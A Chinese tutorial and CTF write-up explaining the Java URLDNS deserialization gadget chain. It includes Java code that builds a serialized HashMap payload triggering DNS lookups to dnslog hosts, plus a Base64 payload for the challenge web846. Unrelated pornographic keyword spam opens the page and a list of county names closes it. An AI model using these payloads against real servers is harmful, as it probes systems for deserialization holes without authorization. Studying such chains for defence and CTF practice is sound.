最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Java URLDNS利用鏈分析

 更新時間:2026年04月24日 08:52:58   作者:歡迎來到chenzi的博客  
文章分析了一個利用ysoserial-all.jar進行DNS利用鏈攻擊的過程,該利用鏈利用了URL類的hashCode方法,并HashMap類的序列化和反序列化機制,通過控制hashCode的值來實現(xiàn)在反序列化時無法發(fā)起DNS請求,最后提了一種通過反射修改類的屬性值來繞過該問題的攻擊方法

URLDNS利用鏈

我們將ysoserial-all.jar進行導(dǎo)入

原理分析

具體的利用點在URL類的hashcode函數(shù)中

在java中,hashcode()是Object類中的一個方法,用于返回一個對象的哈希碼(hashcode),該哈希碼是一個int類型的數(shù)值,代表了該對象的特定標識符。哈希碼的主要作用是在集合中進行元素的快速查找,比如在HashMap和HashSet中

我們寫一個demo

import java.net.MalformedURLException;
import java.net.URL;
public class urldns {
    public static void main(String[] args) throws MalformedURLException {
        URL url = new URL("http://rpttv7.dnslog.cn");
        url.hashCode();
    }
}

其中,域名是我們自己生成的,用于被java訪問,這樣在DNS服務(wù)會有記錄

hashcode

去看hashcode方法

可以看到,這里先做了一個判斷,然后調(diào)用handler的hashcode方法。而handler是URL類中的一個屬性

接著進入handler對象

    protected int hashCode(URL u) {
        int h = 0;
        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();
        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();
        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();
        return h;
    }

這個方法傳入一個URL類作為參數(shù),依次通過調(diào)用getProtocol,getHostAddress,getFile,getPort,getRef等方法獲取到傳入的URL鏈接的Protocol(協(xié)議),HostAddress(主機地址),F(xiàn)ile(文件路徑),Port(端口),Ref(錨點,即#后面的部分),獲取完之后,對每部分調(diào)用他們的hashcode方法,將結(jié)果加到h上,最后將h返回

不過我們需要重點關(guān)注的是getHostAddress方法,該方法會返回一個IP地址,如果遇到的是域名,那么就需要發(fā)起DNS請求來將其解析成IP地址

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;
    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}

如果 u.hostAddress 為空,那么調(diào)用 URL 類的 getHost 方法獲取主機地址(可以是 IP 也可以是域名),如果獲取到的主機地址不為空,那么會調(diào)用 InetAddress 類的靜態(tài)方法 getByName 并將主機名作為參數(shù)傳入。

重點來了:InetAddress.getByName 是一個強大而實用的方法,它允許我們根據(jù)主機名獲取對應(yīng)的 IP 地址,并在各種網(wǎng)絡(luò)應(yīng)用場景中發(fā)揮巨大的作用。

發(fā)起請求有了,反序列化在哪里呢?這就要看hashmap類。

HashMap類

作用是用來存儲內(nèi)容,內(nèi)容以鍵值對的形式存放。

import java.util.HashMap;
public class RunoobTest {
    public static void main(String[] args) {
        // 創(chuàng)建 HashMap 對象 Sites
        HashMap<Integer, String> Sites = new HashMap<Integer, String>();
        // 添加鍵值對
        Sites.put(1, "Google");
        Sites.put(2, "Runoob");
        Sites.put(3, "Taobao");
        Sites.put(4, "Zhihu");
        System.out.println(Sites);
    }
}

首先該類繼承了Serializable接口,一個類繼承該接口可以進行反序列化處理

并且該類還有對數(shù)據(jù)序列化的writeObject和對數(shù)據(jù)反序列化的readObject

對于java對象序列化操作的類是ObjectOutputStream,反序列化的類是ObjectInputStream

左鍵點擊ObjectOutputStream類

ObjectOutputStream,它提供了不同的方法用來序列化不同類型的對象,比如writeInt等,對于自定義類型,提供了writeBoolean、writeObject等方法。

ObjectOutputStream中進行序列化操作的時候,會判斷被序列化的對象是否自己重寫了writeObject方法,如果重寫了,就會調(diào)用被序列化對象自己的writeObject方法,如果沒有重寫,才會調(diào)用默認的序列化方法。

上面是序列化,那么HashMap類是如何對傳入的內(nèi)容進行反序列化呢?

回到readObject

            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }

對傳入的內(nèi)容進行反序列化,獲得key、value,然后對key傳入hash方法。我們看一下hash方法

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

如果key不為空,則進行hashCode方法,而我們在前面提到url類的hashCode方法是可以發(fā)起url請求對。現(xiàn)在需要做的就是我們需要將一個內(nèi)容傳送給hashcode方法,對該內(nèi)容反序列化獲取key和value。然后對key調(diào)用hashCode方法,如果key是url對象,url對象的hashCode方法可以發(fā)起url請求。

構(gòu)造payload

思路:創(chuàng)建hashmap類-創(chuàng)建url類,將鍵值對寫入到生成的hashmap對象中-對該對象進行序列化和反序列化。

Map hashMap = new HashMap(); 
URL url = new URL("http://nxh4ln.dnslog.cn"); 
hashMap.put(url,"steady");  
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();

我們在上面講過ObjectOutputStream中進行序列化操作的時候,對于傳入的對象,如果該對象對應(yīng)的類重寫了writeObject方法,會調(diào)用該對象的方法,所以會調(diào)用HashMap的writeObject方法

運行之后是無法發(fā)起dns請求的,原因是在執(zhí)行以上代碼的時候會執(zhí)行以下函數(shù),其中hashcode不為-1,不會繼續(xù)執(zhí)行

問題就來了我們開頭的代碼如下,也調(diào)用了hashCode方法

        URL url = new URL("http://rpttv7.dnslog.cn");
        url.hashCode();

為什么此時的hashcode不滿足

原因在于 hashMap.put(url,"test");

去看一下put代碼

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
以及更進一下hash
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

也就是說在我們反序列化之前就已經(jīng)調(diào)用過hashcode方法,此時的hashcode緩存下來,即hashcode不為-1。然后在反序列化的時候又一次調(diào)用hashcode方法,所以此時滿足條件,進而不會繼續(xù)執(zhí)行代碼發(fā)起dns請求

我們可以對hashcode與-1做判斷時打一個斷點

第二處在put下斷點

此時hashcode的值緩存為472975790

第三處我們在hashmap下的put方法下斷點

調(diào)試跟進,可以看到此時的hashcode的值,這樣在反序列化的時候是發(fā)起不了DNS請求的

歸根結(jié)底就是hashcode的值問題,修改一下就OK,所以我們用到反射的知識,在代碼運行的時候動態(tài)的修改類的屬性值,其中g(shù)etDeclaredFiled方法獲取一個類的所有成員變量,不包括基類。

Field field = u.getClass().getDeclaredField("hashCode");//獲取變量之后進行修改。
field.setAccessible(true);
field.set(u,-1);//修改變量。
最終代碼
HashMap hashMap = new HashMap();
URL url = new URL("http://plqddn.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url,"steady");
f.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();    

CTF題(web846)

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class demo {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://eeab93f8-908e-40fa-b9dd-c3d03e226eba.challenge.ctf.show/");
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);
         // 1. 先設(shè)一個臨時值,防止put時觸發(fā)DNS
        f.set(url,1);
        // 2. put進HashMap
        hashMap.put(url,"steady");
        // 3. 再設(shè)為-1,保證反序列化時觸發(fā)DNS
        f.set(url,-1);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        byte[] payloadBytes = byteArrayOutputStream.toByteArray();
        String payload = Base64.getEncoder().encodeToString(payloadBytes);
        System.out.println(payload);
    }
}

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAN2VlYWI5M2Y4LTkwOGUtNDBmYS1iOWRkLWMzZDAzZTIyNmViYS5jaGFsbGVuZ2UuY3RmLnNob3d0AAEvcQB+AAV0AARodHRwcHh0AAZzdGVhZHl4

然后URL編碼一下

到此這篇關(guān)于Java URLDNS利用鏈分析的文章就介紹到這了,更多相關(guān)Java URLDNS鏈分析內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 都9102年了,你還用for循環(huán)操作集合嗎

    都9102年了,你還用for循環(huán)操作集合嗎

    這篇文章主要給大家介紹了關(guān)于java中for循環(huán)操作集合使用的相關(guān)資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者使用java具有一定的參考學習價值,需要的朋友們下面來一起學習學習吧
    2019-03-03
  • Spring?Aware接口示例代碼詳解

    Spring?Aware接口示例代碼詳解

    Spring的依賴注入的最大亮點是所有的Bean對Spring容器的存在是沒有意識的,我們可以將Spring容器換成其他的容器,Spring容器中的Bean的耦合度因此也是極低的,本文給大家介紹Spring?Aware接口示例代碼詳解,感興趣的朋友一起看看吧
    2022-02-02
  • MyBatis Plus復(fù)合主鍵問題的解決

    MyBatis Plus復(fù)合主鍵問題的解決

    在數(shù)據(jù)庫設(shè)計中,有時候需要使用復(fù)合主鍵來唯一標識表中的一行數(shù)據(jù),本文將為您詳細介紹MyBatis Plus中復(fù)合主鍵的問題以及解決方案,具有一定的參考價值,感興趣的可以了解一下
    2023-09-09
  • Java新API的時間格式化

    Java新API的時間格式化

    這篇文章主要介紹了Java新API的時間格式化,新的時間API的時間格式化由java.time.format.DateTimeFormatter負責,更多相關(guān)資料需要的小伙伴可以參考一下
    2022-05-05
  • Idea實現(xiàn)接口的方法上無法添加@Override注解的解決方案

    Idea實現(xiàn)接口的方法上無法添加@Override注解的解決方案

    文章介紹了在IDEA中實現(xiàn)接口方法時無法添加@Override注解的問題及其解決方法,主要步驟包括更改項目結(jié)構(gòu)中的Language level到支持該注解的版本,以及在pom.xml文件中指定maven-compiler-plugin的版本以解決自動更新后的問題
    2025-02-02
  • 帶你了解Java Maven的打包操作

    帶你了解Java Maven的打包操作

    這篇文章主要介紹了Maven打包的相關(guān)知識,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2021-09-09
  • 詳解基于Spring Data的領(lǐng)域事件發(fā)布

    詳解基于Spring Data的領(lǐng)域事件發(fā)布

    這篇文章主要介紹了詳解基于Spring Data的領(lǐng)域事件發(fā)布,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2020-04-04
  • Java 中的自引用詳解

    Java 中的自引用詳解

    本文介紹了Java中“自引用”概念,即類中包含指向自身類型的成員變量,常用于鏈表、樹等遞歸結(jié)構(gòu),自引用依賴于引用類型和JVM內(nèi)存模型,避免無限遞歸,支持靈活安全的數(shù)據(jù)結(jié)構(gòu)構(gòu)建,并由GC自動管理內(nèi)存,感興趣的朋友跟隨小編一起看看吧
    2025-10-10
  • Java之單例模式實現(xiàn)方案詳解

    Java之單例模式實現(xiàn)方案詳解

    這篇文章主要介紹了Java之單例模式實現(xiàn)方案詳解,本篇文章通過簡要的案例,講解了該項技術(shù)的了解與使用,以下就是詳細內(nèi)容,需要的朋友可以參考下
    2021-08-08
  • springboot+mybaties項目中掃描不到@mapper注解的解決方法

    springboot+mybaties項目中掃描不到@mapper注解的解決方法

    本文主要介紹了springboot+mybaties項目中掃描不到@mapper注解的解決方法,該報錯表明掃描不到Mapper層,具有一定的參考價值,感興趣的可以了解一下
    2024-05-05

最新評論

屏边| 和平县| 兴业县| 罗城| 宣化县| 闻喜县| 台安县| 建昌县| 饶阳县| 吐鲁番市| 博客| 萨迦县| 龙州县| 福安市| 宜昌市| 饶阳县| 台江县| 合山市| 淳安县| 榆林市| 余庆县| 桓台县| 和硕县| 乳山市| 玛多县| 新乡市| 旅游| 郓城县| 乌兰县| 定远县| 西昌市| 怀远县| 伊吾县| 颍上县| 略阳县| 丽水市| 云阳县| 河北区| 民权县| 喜德县| 永胜县|